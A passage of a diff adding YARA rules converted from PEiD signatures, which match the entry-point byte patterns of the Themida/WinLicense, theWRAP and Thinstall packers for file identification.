+        $a = {B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? 00 03 C7 B9 ?? ?? ?? 00 03 CF EB 0A B8 ?? ?? ?? ?? B9 5A ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 AF 01 00 00 02 00 00 00 91 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02233_Themida_1_2_0_1____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.2.0.1 -> Oreans Technologies (h)]"
+        ep_only = "false"
+    strings:
+        $a = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25}
+    condition:
+        $a
+}
+rule PEiD_02234_Themida_1_2_0_1____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.2.0.1 -> Oreans Technologies (h)]"
+        ep_only = "false"
+    strings:
+        $a = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 4B 89 0A E8 D5 00 00 00 E9 11 02 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02235_Themida_1_8_x_x____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida 1.8.x.x -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67}
+    condition:
+        $a
+}
+
+rule PEiD_02236_Themida_1_8_x_x____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida 1.8.x.x -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02237_Themida_WinLicense_V1_0_0_0_V1_8_0_0____Oreans_Technologies___Sign_by_fly_
+{
+    meta:
+        description = "[Themida/WinLicense V1.0.0.0-V1.8.0.0 -> Oreans Technologies ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? E8 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02238_Themida_WinLicense_V1_0_X_V1_7_X_DLL____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida/WinLicense V1.0.X-V1.7.X DLL -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? ?? ?? ?? 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 ?? 89 48 01 61 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02239_Themida_WinLicense_V1_8_2_0______Oreans_Technologies___Sign_by_fly_
+{
+    meta:
+        description = "[Themida/WinLicense V1.8.2.0 + -> Oreans Technologies ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 00 00 60 0B C0 74 68 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02240_Themida_WinLicense_V1_8_X_V1_9_X_nbsp_____Oreans_Technologies_nbsp___nbsp___Sign_By_fly_
+{
+    meta:
+        description = "[Themida/WinLicense V1.8.X-V1.9.X&nbsp; -> Oreans Technologies&nbsp; &nbsp;* Sign.By.fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D ?? ?? ?? ?? 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D ?? ?? ?? ?? EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 05 89 48 01 61 E9}
+    condition:
+        $a
+}
+rule PEiD_02241_Themida_WinLicense_V1_X_NoCompression_SecureEngine____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida/WinLicense V1.X NoCompression SecureEngine -> Oreans Technologies]"
+        ep_only = "false"
+    strings:
+        $a = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? ?? ?? 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 4B 89 0A E8 D5 00 00 00 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02242_theWRAP___by_TronDoc_
+{
+    meta:
+        description = "[theWRAP - by TronDoc]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 48 D2 4B 00 E8 BC 87 F4 FF BB 04 0B 4D 00 33 C0 55 68 E8 D5 4B 00 64 FF 30 64 89 20 E8 9C F4 FF FF E8 F7 FB FF FF 6A 40 8D 55 F0 A1 F0 ED 4B 00 8B 00 E8 42 2E F7 FF 8B 4D F0 B2 01 A1 F4 C2 40 00 E8 F7 20 F5 FF}
+    condition:
+        $a
+}
+
+rule PEiD_02243_theWRAP___by_TronDoc_
+{
+    meta:
+        description = "[theWRAP - by TronDoc]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 48 D2 4B 00 E8 BC 87 F4 FF BB 04 0B 4D 00 33 C0 55 68 E8 D5 4B 00 64 FF 30 64 89 20 E8 9C F4 FF FF E8 F7 FB FF FF 6A 40 8D 55 F0 A1 F0 ED 4B 00 8B 00 E8 42 2E F7 FF 8B 4D F0 B2 01 A1 F4 C2 40 00 E8 F7 20 F5 FF 8B F0 B2 01 A1 B4 C3 40 00 E8 F1 5B F4 FF 89 03 33 D2 8B 03 E8 42 1E F5 FF 66 B9 02 00 BA FC FF FF FF 8B C6 8B 38 FF 57 0C BA B8 A7 4D 00 B9 04 00 00 00 8B C6 8B 38 FF 57 04 83 3D B8 A7 4D 00 00 0F 84 5E 01 00 00 8B 15 B8 A7 4D 00 83 C2 04 F7 DA 66 B9 02 00 8B C6 8B 38 FF 57 0C 8B 0D B8 A7 4D 00 8B D6 8B 03 E8 2B 1F F5 FF 8B C6 E8 B4 5B F4 FF 33 D2 8B 03 E8 DF 1D F5 FF BA F0 44 4E 00 B9 01 00 00 00 8B 03 8B 30 FF 56 04 80 3D F0 44 4E 00 0A 75 3F BA B8 A7 4D 00 B9 04 00 00 00 8B 03 8B 30 FF 56 04 8B 15 B8 A7}
+    condition:
+        $a
+}
+rule PEiD_02244_Thinstall_2_403____Jitit_
+{
+    meta:
+        description = "[Thinstall 2.403 -> Jitit]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+    condition:
+        $a
+}
+
+rule PEiD_02245_Thinstall_2_4x___2_5x____Jitit_Software_
+{
+    meta:
+        description = "[Thinstall 2.4x - 2.5x -> Jitit Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? BD ?? ?? ?? ?? 03 E8}
+    condition:
+        $a
+}
+rule PEiD_02246_Thinstall_2_5_________h__
+{
+    meta:
+        description = "[Thinstall 2.5 -> ??? (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A7 1A 00 00 B9 6C 1A 00 00 BA 20 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD EC 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+    condition:
+        $a
+}
+
+rule PEiD_02247_Thinstall_2_5xx____Jtit_
+{
+    meta:
+        description = "[Thinstall 2.5xx -> Jtit]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? 1A 00 00 B9 ?? 1A 00 00 BA ?? 1B 00 00 BE 00 10 00 00 BF ?? 53 00 00 BD ?? 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? ?? 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+    condition:
+        $a
+}
+
+rule PEiD_02248_Thinstall_2_628____Jtit__h__
+{
+    meta:
+        description = "[Thinstall 2.628 -> Jtit (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3}
+    condition:
+        $a
+}
+rule PEiD_02249_Thinstall_2_628____Jtit_
+{
+    meta:
+        description = "[Thinstall 2.628 -> Jtit]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01}
+    condition:
+        $a
+}
+
+rule PEiD_02250_Thinstall_3_035____Jtit_
+{
+    meta:
+        description = "[Thinstall 3.035 -> Jtit]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 C3 B9 08 00 00 00 E8 01 00 00 00 C3 33 C0 E8 E1 FF FF FF 13 C0 E2 F7 C3 33 C9 41 E8 D4 FF FF FF 13 C9 E8 CD FF FF FF 72 F2 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02251_Thinstall_Embedded_V1_9X____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V1.9X -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 ?? ?? ?? ?? 50 E8 87 FC FF FF 59 59 A1 ?? ?? ?? ?? 8B 40 10 03 05 ?? ?? ?? ?? 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02252_Thinstall_Embedded_V2_0X____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.0X -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+    condition:
+        $a
+}
+rule PEiD_02253_Thinstall_Embedded_V2_0X____Jitit_
+{
+    meta:
+        description = "[Thinstall Embedded V2.0X -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+    condition:
+        $a
+}
+
+rule PEiD_02254_Thinstall_Embedded_V2_2X_V2_308____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.2X-V2.308 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 B9 FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+    condition:
+        $a
+}
+
+rule PEiD_02255_Thinstall_Embedded_V2_2X_V2_308____Jitit_
+{
+    meta:
+        description = "[Thinstall Embedded V2.2X-V2.308 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 B9 FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+    condition:
+        $a
+}
+
+rule PEiD_02256_Thinstall_Embedded_V2_312____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.312 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 FF 15 ?? ?? ?? ?? E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+    condition:
+        $a
+}
+
+rule PEiD_02257_Thinstall_Embedded_V2_312____Jitit_
+{
+    meta:
+        description = "[Thinstall Embedded V2.312 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 FF 15 ?? ?? ?? ?? E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+    condition:
+        $a
+}
+rule PEiD_02258_Thinstall_Embedded_V2_422_V2_428____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.422-V2.428 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D 9B 1A 00 00 B9 84 1A 00 00 BA 14 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD E0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+    condition:
+        $a
+}
+
+rule PEiD_02259_Thinstall_Embedded_V2_501____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.501 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A8 1A 00 00 B9 6D 1A 00 00 BA 21 1B 00 00 BE 00 10 00 00 BF C0 53 00 00 BD F0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+    condition:
+        $a
+}
+
+rule PEiD_02260_Thinstall_Embedded_V2_545____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.545 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F2 FF FF FF 50 68 ?? ?? ?? ?? 68 40 1B 00 00 E8 42 FF FF FF E9 9D FF FF FF 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02261_Thinstall_Embedded_V2_547_V2_600____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.547-V2.600 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB BC 18 00 00 2B C3 50 68 ?? ?? ?? ?? 68 60 1B 00 00 68 60 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02262_Thinstall_Embedded_V2_609____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.609 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB AD 19 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 1C 00 00 68 80 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00}
+    condition:
+        $a
+}
+
+rule PEiD_02263_Thinstall_Embedded_V2_620_V2_623____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.620-V2.623 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB AC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 21 00 00 68 C4 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02264_Thinstall_Embedded_V2_717_V2_719____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.717-V2.719 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 C1 FE FF FF E9 97 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+    condition:
+        $a
+}
+rule PEiD_02265_Thinstall_Embedded_V2_717_V2_719____Jitit_
+{
+    meta:
+        description = "[Thinstall Embedded V2.717-V2.719 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 C1 FE FF FF E9 97 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D}
+    condition:
+        $a
+}
+
+rule PEiD_02266_Thinstall_V2_403____Jitit_
+{
+    meta:
+        description = "[Thinstall V2.403 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00 57 BF 00 00 80 00 39 79 14 77 36 53 56 8B B1 29 04 00 00 8B 41 0C 8B 59 10 03 DB 8A 14 30 83 E2 01 